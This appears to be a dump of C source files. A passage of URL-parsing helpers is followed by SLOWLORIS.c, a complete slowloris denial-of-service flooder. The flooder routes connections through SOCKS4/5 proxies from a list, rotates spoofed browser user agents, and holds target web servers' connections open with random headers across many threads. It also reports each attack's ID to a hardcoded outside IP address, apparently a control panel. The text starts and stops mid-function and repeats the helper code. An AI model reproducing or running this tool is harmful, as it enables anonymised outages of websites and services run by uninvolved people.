 998 | 				strleft(remainder, 1);
 999 | 			}
1000 | 			*(returnpart[host]->separator) = 0;
1001 | 		}
1002 | 		if(i == path && (! *(returnpart[scheme]->value)))
1003 | 		{
1004 | 			*(returnpart[path]->separator) = 0;
1005 | 			strcpy(returnpart[scheme]->value, "http");
1006 | 		}
1007 | 		regx = (i == path) ? regpath : regall ;
1008 | 		seplen = strlen(returnpart[i]->separator);
1009 | 		if(strncmp(remainder, returnpart[i]->separator, seplen))
1010 | 		continue;
1011 | 		else
1012 | 		strleft(remainder, seplen);
1013 | 		strcpy(returnpart[i]->value, strsplit(remainder, regx));
1014 | 	}
1015 | 	if(*remainder)
1016 | 	sprintf(parseError, "I don't understand '%s'", remainder);
1017 | 	free(remainder);
1018 | 	return 0;
1019 | }
1020 | char *str_replace(char *orig, char *rep, char *with) {
1021 | 	char *result; 
1022 | 	char *ins;    
1023 | 	char *tmp;    
1024 | 	int len_rep;  
1025 | 	int len_with; 
1026 | 	int len_front; 
1027 | 	int count;    
1028 | 	if (!orig)
1029 | 	return NULL;
1030 | 	if (!rep || !(len_rep = strlen(rep)))
1031 | 	return NULL;
1032 | 	if (!(ins = strstr(orig, rep)))
1033 | 	return NULL;
1034 | 	if (!with)
1035 | 	with = "";
1036 | 	len_with = strlen(with);
1037 | 	for (count = 0; tmp = strstr(ins, rep); ++count) {
1038 | 		ins = tmp + len_rep;
1039 | 	}
1040 | 	tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
1041 | 	if (!result)
1042 | 	return NULL;
1043 | 	while (count--) {
1044 | 		ins = strstr(orig, rep);
1045 | 		len_front = ins - orig;
1046 | 		tmp = strncpy(tmp, orig, len_front) + len_front;
1047 | 		tmp = strcpy(tmp, with) + len_with;
1048 | 		orig += len_front + len_rep; 
1049 | 	}
1050 | 	strcpy(tmp, orig);
1051 | 	return result;
1052 | }
1053 | char *stristr(const char *String, const char *Pattern)
1054 | {
1055 | 	char *pptr, *sptr, *start;
1056 | 	uint slen, plen;
1057 | 	for (start = (char *)String,
1058 | 	pptr = (char *)Pattern,
1059 | 	slen = strlen(String),
1060 | 	plen = strlen(Pattern);
1061 | 	slen >= plen;
1062 | 	start++, slen--)
1063 | 	{
1064 | 		
1065 | 		while (toupper(*start) != toupper(*Pattern))
1066 | 		{
1067 | 			start++;
1068 | 			slen--;
1069 | 			
1070 | 			if (slen < plen)
1071 | 			return(NULL);
1072 | 		}
1073 | 		sptr = start;
1074 | 		pptr = (char *)Pattern;
1075 | 		while (toupper(*sptr) == toupper(*pptr))
1076 | 		{
1077 | 			sptr++;
1078 | 			pptr++;
1079 | 			
1080 | 			if ('\0' == *pptr)
1081 | 			return (start);
1082 | 		}
1083 | 	}
1084 | 	return(NULL);
1085 | }
1086 | char * strsplit(char * s, char * tok) {
1087 | #define OUTLEN (255)
1088 | 	register i, j;
1089 | 	static char out[OUTLEN + 1];
1090 | 	for(i = 0; s[i] && i < OUTLEN; i++)
1091 | 	{
1092 | 		if(strchr(tok, s[i]))
1093 | 		break;
1094 | 		else
1095 | 		out[i] = s[i];
1096 | 	}
1097 | 	out[i] = 0;
1098 | 	if(i && s[i])
1099 | 	{
1100 | 		for(j = 0; s[i]; i++, j++) s[j] = s[i];
1101 | 		s[j] = 0;
1102 | 	}
1103 | 	else if (!s[i])
1104 | 	*s = 0;
1105 | 	return out;
1106 | }
1107 | char firstpunc(char * s) {
1108 | 	while(*s++)
1109 | 	if(!isalnum(*s)) return *s;
1110 | 	return 0;
1111 | }
1112 | int strleft(char * s, int n) {
1113 | 	int l;
1114 | 	l = strlen(s);
1115 | 	if(l < n)
1116 | 	return -1;
1117 | 	else if (l == n)
1118 | 	*s = 0;
1119 | 	memmove(s, s + n, l - n + 1);
1120 | 	return n;
1121 | }
1122 | 


--------------------------------------------------------------------------------
/SLOWLORIS.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <sys/resource.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <signal.h>
  8 | #include <sys/socket.h>
  9 | #include <netinet/ip.h>
 10 | #include <netinet/tcp.h>
 11 | #include <netdb.h>
 12 | #include <netinet/in.h>
 13 | #include <ctype.h>
 14 | 
 15 | #define RND_CHAR (char)((rand() % 26)+97)
 16 | 
 17 | char *useragents[] = {
 18 |         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 19 |         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 20 |         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 21 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
 22 |         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 23 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 24 |         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 25 |         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 26 |         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
 27 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 28 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 29 |         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 30 |         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 31 |         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 32 |         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
 33 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 34 |         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
 35 |         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
 36 |         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
 37 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
 38 |         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
 39 |         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
 40 |         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
 41 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 42 |         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
 43 |         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
 44 |         "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
 45 |         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
 46 |         "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
 47 |         "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
 48 |         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
 49 |         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
 50 |         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
 51 |         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
 52 |         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
 53 |         "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 54 |         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
 55 |         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
 56 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 57 |         "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
 58 |         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
 59 |         "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
 60 |         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
 61 |         "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 62 |         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
 63 |         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
 64 |         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 65 |         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 66 | };
 67 | #define ATTACKPORT 80
 68 | char *postformat = "GET /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n";
 69 | char *postpayload;
 70 | struct urlparts {
 71 |         char * name;
 72 |         char separator[4];
 73 |         char value[128];
 74 | } parts[] = {
 75 |         { "scheme", ":" },
 76 |         { "userid", "@" },
 77 |         { "password", ":" },
 78 |         { "host", "//" },
 79 |         { "port", ":" },
 80 |         { "path", "/" },
 81 |         { "param", ";" },
 82 |         { "query", "?" },
 83 |         { "fragment", "#" }
 84 | };
 85 | enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
 86 | #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
 87 | struct urlparts *returnparts[8];
 88 | struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
 89 | struct proxy { char *type; char *ip; int port; int working; };
 90 | struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
 91 | struct list *head = NULL;
 92 | char parseError[128];
 93 | int parseURL(char *url, struct urlparts **returnpart);
 94 | char * strsplit(char * s, char * tok);
 95 | char firstpunc(char *s);
 96 | int strleft(char * s, int n);
 97 | void setupparts();
 98 | void freeparts();
 99 | char *stristr(const char *String, const char *Pattern);
100 | char *str_replace(char *orig, char *rep, char *with);
101 | char *geturl(char *url, char *useragent, char *ip);
102 | char *ipstr;
103 | 
104 | void *flood(void *par) {
105 |         struct list *startpoint = (struct list *)par;
106 |         int i;
107 |         struct sockaddr_in serverAddr;
108 |         signal(SIGPIPE, SIG_IGN);
109 |         while(1)
110 |         {
111 |                 int sent = 0;
112 |                 if(startpoint->data->working == 0)
113 |                 {
114 |                         startpoint = startpoint->next;
115 |                         sleep(1);
116 |                         continue;
117 |                 }
118 |                 memset(&serverAddr, 0, sizeof(serverAddr));
119 |                 serverAddr.sin_family = AF_INET;
120 |                 serverAddr.sin_port = htons(startpoint->data->port);
121 |                 serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
122 |                 int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
123 |                 u_int yes=1;
124 |                 if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
125 |                 if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
126 |                 {
127 |                         startpoint->data->working = 0;
128 |                         startpoint = startpoint->next;
129 |                         continue;
130 |                 }
131 |                 if(strcmp(startpoint->data->type, "Socks4")==0)
132 |                 {
133 |                         unsigned char buf[10];
134 |                         buf[0] = 0x04;
135 |                         buf[1] = 0x01;
136 |                         *(unsigned short*)&buf[2] = htons(ATTACKPORT);
137 |                         *(unsigned long*)&buf[4] = inet_addr(ipstr);
138 |                         buf[8] = 0x00;
139 |                         if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
140 |                         {
141 |                                 startpoint->data->working = 0;
142 |                                 startpoint = startpoint->next;
143 |                                 close(serverSocket);
144 |                                 continue;
145 |                         }
146 |                 }
147 |                 if(strcmp(startpoint->data->type, "Socks5")==0)
148 |                 {
149 |                         unsigned char buf[20];
150 |                         buf[0] = 0x05;
151 |                         buf[1] = 0x01;
152 |                         buf[2] = 0x00;
153 |                         if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
154 |                         {
155 |                                 startpoint->data->working = 0;
156 |                                 startpoint = startpoint->next;
157 |                                 close(serverSocket);
158 |                                 continue;
159 |                         }
160 |                         buf[0] = 0x05;
161 |                         buf[1] = 0x01;
162 |                         buf[2] = 0x00;
163 |                         buf[3] = 0x01;
164 |                         *(unsigned long*)&buf[4] = inet_addr(ipstr);
165 |                         *(unsigned short*)&buf[8] = htons(ATTACKPORT);
166 |                         if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
167 |                         {
168 |                                 printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
169 |                                 perror("send 10");
170 |                                 startpoint->data->working = 0;
171 |                                 startpoint = startpoint->next;
172 |                                 close(serverSocket);
173 |                                 continue;
174 |                         }
175 |                 }
176 |                 char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
177 |                 if(httppayload == NULL)
178 |                 {
179 |                         startpoint = startpoint->next;
180 |                         close(serverSocket);
181 |                         continue;
182 |                 }
183 |                 sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
184 |                 free(httppayload);
185 |                 int send_return = 1;
186 |                 while(send_return > 0)
187 |                 {
188 |                         char *headershit = malloc(255);
189 |                         sprintf(headershit, "X-%c%c%c%c%c%c%c: 1\r\n", RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR);
190 |                         send_return = send(serverSocket, headershit, strlen(headershit), MSG_NOSIGNAL);
191 |                         free(headershit);
192 |                         sleep(1);
193 |                 }
194 |                 close(serverSocket);
195 |                 usleep(30000);
196 |                 //startpoint = startpoint->next;
197 |         }
198 | }
199 | 
200 | int fnAttackInformation(int attackID)
201 | {
202 | 	char szRecvBuff[1024];
203 | 	char packet[1024];
204 | 	char ip[] = "37.221.170.5";
205 | 
206 | 	snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
207 | 
208 | 	struct sockaddr_in *remote;
209 | 	int sock;
210 | 	int tmpres;
211 | 	
212 |  
213 | 	if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
214 | 	{
215 | 		perror("Can't create TCP socket");
216 | 		exit(1);
217 | 	}
218 | 	
219 | 	remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
220 | 	remote->sin_family = AF_INET;
221 | 	tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
222 | 	
223 | 	if (tmpres < 0)  
224 | 	{
225 | 		perror("Can't set remote->sin_addr.s_addr");
226 | 		exit(1);
227 | 	}
228 | 	else if (tmpres == 0)
229 | 	{
230 | 		fprintf(stderr, "%s is not a valid IP address\n", ip);
231 | 		exit(1);
232 | 	}
233 | 	
234 | 	remote->sin_port = htons(80);
235 | 	
236 | 	if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
237 | 	{
238 | 		perror("Could not connect");
239 | 		exit(1);
240 | 	}
241 | 		
242 | 	tmpres = send(sock, packet, strlen(packet), 0);
243 | 	
244 | 	//printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);	
245 | 	
246 | 	if (tmpres == -1){
247 | 		perror("Can't send query");
248 | 		exit(1);
249 | 	}
250 | 
251 | 	int i = 1;
252 | 	int dwTotal = 0;
253 | 
254 | 
255 | 	while (1)
256 | 	{
257 | 		i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
258 | 		//printf("Received %d bytes\n", i);
259 | 		if (i <= 0)
260 | 			break;
261 | 			
262 | 		dwTotal += i;
263 | 	}
264 | 
265 | 	szRecvBuff[dwTotal] = '\0';
266 | 	
267 | 
268 | 	//printf("Received -> \n%s\n\n", szRecvBuff);
269 | 
270 | 	
271 | 	close(sock);
272 | 	
273 | 	//printf("Sent %d bytes\n", tmpres);
274 | 	
275 | 	return 0;
276 | }
277 | 
278 | int main(int argc, char *argv[ ]) {
279 |         if(argc < 4){
280 |                 fprintf(stderr, "Invalid parameters!\n");
281 |                 fprintf(stdout, "Usage: %s <target url> <number threads to use> <proxy list> <time> [manual ip]\n", argv[0]);
282 |                 exit(-1);
283 |         }
284 |         //fprintf(stdout, "Setting up Sockets...\n");
285 |         int num_threads = atoi(argv[2]);
286 |         FILE *pFile = fopen(argv[3], "rb");
287 |         if(pFile==NULL)
288 |         {
289 |                 perror("fopen"); exit(1);
290 |         }
291 |         fseek(pFile, 0, SEEK_END);
292 |         long lSize = ftell(pFile);
293 |         rewind(pFile);
294 |         char *buffer = (char *)malloc(lSize*sizeof(char));
295 |         fread(buffer, 1, lSize, pFile);
296 |         fclose (pFile);
297 |         int i=0;
298 |         char *pch = (char *)strtok(buffer, ":");
299 |         while(pch != NULL)
300 |         {
301 |                 if(head == NULL)
302 |                 {
303 |                         head = (struct list *)malloc(sizeof(struct list));
304 |                         bzero(head, sizeof(struct list));
305 |                         head->data = (struct proxy *)malloc(sizeof(struct proxy));
306 |                         bzero(head->data, sizeof(struct proxy));
307 |                         head->data->working = 1;
308 |                         head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
309 |                         pch = (char *)strtok(NULL, ":");
310 |                         if(pch == NULL) exit(-1);
311 |                         head->data->port = atoi(pch);
312 |                         pch = (char *)strtok(NULL, ":");
313 |                         head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
314 |                         pch = (char *)strtok(NULL, ":");
315 |                         head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
316 |                         head->next = head;
317 |                         head->prev = head;
318 |                 } else {
319 |                         struct list *new_node = (struct list *)malloc(sizeof(struct list));
320 |                         bzero(new_node, sizeof(struct list));
321 |                         new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
322 |                         bzero(new_node->data, sizeof(struct proxy));
323 |                         new_node->data->working = 1;
324 |                         new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
325 |                         pch = (char *)strtok(NULL, ":");
326 |                         if(pch == NULL) break;
327 |                         new_node->data->port = atoi(pch);
328 |                         pch = (char *)strtok(NULL, ":");
329 |                         new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
330 |                         pch = (char *)strtok(NULL, ":");
331 |                         new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
332 |                         new_node->prev = head;
333 |                         new_node->next = head->next;
334 |                         head->next = new_node;
335 |                 }
336 |         }
337 |         free(buffer);
338 |         const rlim_t kOpenFD = 1024 + (num_threads * 2);
339 |         struct rlimit rl;
340 |         int result;
341 |         rl.rlim_cur = kOpenFD;
342 |         rl.rlim_max = kOpenFD;
343 |         result = setrlimit(RLIMIT_NOFILE, &rl);
344 |         if (result != 0)
345 |         {
346 |                 perror("setrlimit");
347 |                 fprintf(stderr, "setrlimit returned result = %d\n", result);
348 |         }
349 |         setupparts();
350 |         parseURL(argv[1], returnparts);
351 |         if(argc > 5)
352 |         {
353 |                 ipstr = malloc(strlen(argv[5])+1);
354 |                 bzero(ipstr, strlen(argv[5])+1);
355 |                 strcpy(ipstr, argv[5]);
356 |                 //fprintf(stdout, "Using manual IP...\n");
357 |         } else {
358 |                 struct hostent *he;
359 |                 struct in_addr a;
360 |                 he = gethostbyname(returnparts[host]->value);
361 |                 if (he)
362 |                 {
363 |                         while (*he->h_addr_list)
364 |                         {
365 |                                 bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
366 |                                 ipstr = malloc(INET_ADDRSTRLEN+1);
367 |                                 inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
368 |                                 break;
369 |                         }
370 |                 }
371 |                 else
372 |                 { herror("gethostbyname"); }
373 |         }
374 |         pthread_t thread[num_threads];
375 |         struct list *td[num_threads];
376 |         struct list *node = head->next;
377 | 		
378 | 		
379 |         for(i=0;i<num_threads;i++)
380 |         {
381 |                 td[i] = node;
382 |                 node = node->next;
383 |         }
384 |         postpayload = malloc(4096);
385 |         sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value);
386 |         freeparts();
387 |       
388 | 	    //fprintf(stdout, "Starting Flood...\n");
389 |         
390 | 		fnAttackInformation(atoi(argv[argc-1]));
391 | 		for(i = 0;i<num_threads;i++){
392 |                 pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
393 |         }
394 |         sleep(atoi(argv[4]));
395 |         return 0;
396 | }
397 | void freeparts()
398 | {
399 |         return;
400 |         if(returnparts[0]!=NULL) { free(returnparts[0]); }
401 |         if(returnparts[1]!=NULL) { free(returnparts[1]); }
402 |         if(returnparts[2]!=NULL) { free(returnparts[2]); }
403 |         if(returnparts[3]!=NULL) { free(returnparts[3]); }
404 |         if(returnparts[4]!=NULL) { free(returnparts[4]); }
405 |         if(returnparts[5]!=NULL) { free(returnparts[5]); }
406 |         if(returnparts[6]!=NULL) { free(returnparts[6]); }
407 |         if(returnparts[7]!=NULL) { free(returnparts[7]); }
408 |         if(returnparts[8]!=NULL) { free(returnparts[8]); }
409 |         return;
410 | }
411 | void setupparts()
412 | {
413 |         returnparts[0] = malloc(sizeof(struct urlparts));
414 |         returnparts[1] = malloc(sizeof(struct urlparts));
415 |         returnparts[2] = malloc(sizeof(struct urlparts));
416 |         returnparts[3] = malloc(sizeof(struct urlparts));
417 |         returnparts[4] = malloc(sizeof(struct urlparts));
418 |         returnparts[5] = malloc(sizeof(struct urlparts));
419 |         returnparts[6] = malloc(sizeof(struct urlparts));
420 |         returnparts[7] = malloc(sizeof(struct urlparts));
421 |         returnparts[8] = malloc(sizeof(struct urlparts));
422 |         bzero(returnparts[0], sizeof(struct urlparts));
423 |         bzero(returnparts[1], sizeof(struct urlparts));
424 |         bzero(returnparts[2], sizeof(struct urlparts));
425 |         bzero(returnparts[3], sizeof(struct urlparts));
426 |         bzero(returnparts[4], sizeof(struct urlparts));
427 |         bzero(returnparts[5], sizeof(struct urlparts));
428 |         bzero(returnparts[6], sizeof(struct urlparts));
429 |         bzero(returnparts[7], sizeof(struct urlparts));
430 |         bzero(returnparts[8], sizeof(struct urlparts));
431 |         returnparts[0]->name = "scheme";
432 |         strcpy(returnparts[0]->separator, ":");
433 |         returnparts[1]->name = "userid";
434 |         strcpy(returnparts[1]->separator, "@");
435 |         returnparts[2]->name = "password";
436 |         strcpy(returnparts[2]->separator, ":");
437 |         returnparts[3]->name = "host";
438 |         strcpy(returnparts[3]->separator, "//");
439 |         returnparts[4]->name = "port";
440 |         strcpy(returnparts[4]->separator, ":");
441 |         returnparts[5]->name = "path";
442 |         strcpy(returnparts[5]->separator, "/");
443 |         returnparts[6]->name = "param";
444 |         strcpy(returnparts[6]->separator, ";");
445 |         returnparts[7]->name = "query";
446 |         strcpy(returnparts[7]->separator, "?");
447 |         returnparts[8]->name = "fragment";
448 |         strcpy(returnparts[8]->separator, "#");
449 |         return;
450 | }
451 | int parseURL(char *url, struct urlparts **returnpart) {
452 |         register i;
453 |         int seplen;
454 |         char * remainder;
455 |         char * regall = ":/;?#";
456 |         char * regpath = ":;?#";
457 |         char * regx;
458 |         if(!*url)
459 |         {
460 |                 strcpy(parseError, "nothing to do!\n");
461 |                 return 0;
462 |         }
463 |         if((remainder = malloc(strlen(url) + 1)) == NULL)
464 |         {
465 |                 printf("cannot allocate memory\n");
466 |                 exit(-1);
467 |         }
468 |         strcpy(remainder, url);
469 |         if(firstpunc(remainder) == ':')
470 |         {
471 |                 strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
472 |                 strleft(remainder, 1);
473 |         }
474 |         if (!strcmp(returnpart[scheme]->value, "mailto"))
475 |         *(returnpart[host]->separator) = 0;
476 |         for(i = 0; i < NUMPARTS; i++)
477 |         {
478 |                 if(!*remainder)
479 |                 break;
480 |                 if(i == scheme || i == userid || i == password)
481 |                 continue;
482 |                 if(i == host && strchr(remainder, '@'))
483 |                 {
484 |                         if(!strncmp(remainder, "//", 2))
485 |                         strleft(remainder, 2);
486 |                         strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
487 |                         strleft(remainder, 1);
488 |                         if(strchr(remainder, '@'))
489 |                         {
490 |                                 strcpy(returnpart[password]->value, strsplit(remainder, "@"));
491 |                                 strleft(remainder, 1);
492 |                         }
493 |                         *(returnpart[host]->separator) = 0;
494 |                 }
495 |                 if(i == path && (! *(returnpart[scheme]->value)))
496 |                 {
497 |                         *(returnpart[path]->separator) = 0;
498 |                         strcpy(returnpart[scheme]->value, "http");
499 |                 }
500 |                 regx = (i == path) ? regpath : regall ;
501 |                 seplen = strlen(returnpart[i]->separator);
502 |                 if(strncmp(remainder, returnpart[i]->separator, seplen))
503 |                 continue;
504 |                 else
505 |                 strleft(remainder, seplen);
506 |                 strcpy(returnpart[i]->value, strsplit(remainder, regx));
507 |         }
508 |         if(*remainder)
509 |         sprintf(parseError, "I don't understand '%s'", remainder);
510 |         free(remainder);
511 |         return 0;
512 | }
513 | char *str_replace(char *orig, char *rep, char *with) {
514 |         char *result;
515 |         char *ins;
516 |         char *tmp;
517 |         int len_rep;
518 |         int len_with;
519 |         int len_front;
520 |         int count;
521 |         if (!orig)
522 |         return NULL;
523 |         if (!rep || !(len_rep = strlen(rep)))
524 |         return NULL;
525 |         if (!(ins = strstr(orig, rep)))
526 |         return NULL;
527 |         if (!with)
528 |         with = "";
529 |         len_with = strlen(with);
530 |         for (count = 0; tmp = strstr(ins, rep); ++count) {
531 |                 ins = tmp + len_rep;
532 |         }
533 |         tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
534 |         if (!result)
535 |         return NULL;
536 |         while (count--) {
537 |                 ins = strstr(orig, rep);
538 |                 len_front = ins - orig;
539 |                 tmp = strncpy(tmp, orig, len_front) + len_front;
540 |                 tmp = strcpy(tmp, with) + len_with;
541 |                 orig += len_front + len_rep;
542 |         }
543 |         strcpy(tmp, orig);
544 |         return result;
545 | }
546 | char * strsplit(char * s, char * tok) {
547 | #define OUTLEN (255)
548 |         register i, j;
549 |         static char out[OUTLEN + 1];
550 |         for(i = 0; s[i] && i < OUTLEN; i++)
551 |         {
552 |                 if(strchr(tok, s[i]))
553 |                 break;
554 |                 else
555 |                 out[i] = s[i];
556 |         }
557 |         out[i] = 0;
558 |         if(i && s[i])
559 |         {
560 |                 for(j = 0; s[i]; i++, j++) s[j] = s[i];
561 |                 s[j] = 0;
562 |         }
563 |         else if (!s[i])
564 |         *s = 0;
565 |         return out;
566 | }
567 | char firstpunc(char * s) {
568 |         while(*s++)
569 |         if(!isalnum(*s)) return *s;
570 |         return 0;
571 | }
572 | int strleft(char * s, int n) {
573 |         int l;
574 |         l = strlen(s);
575 |         if(l < n)
576 |         return -1;
577 |         else if (l == n)
578 |         *s = 0;
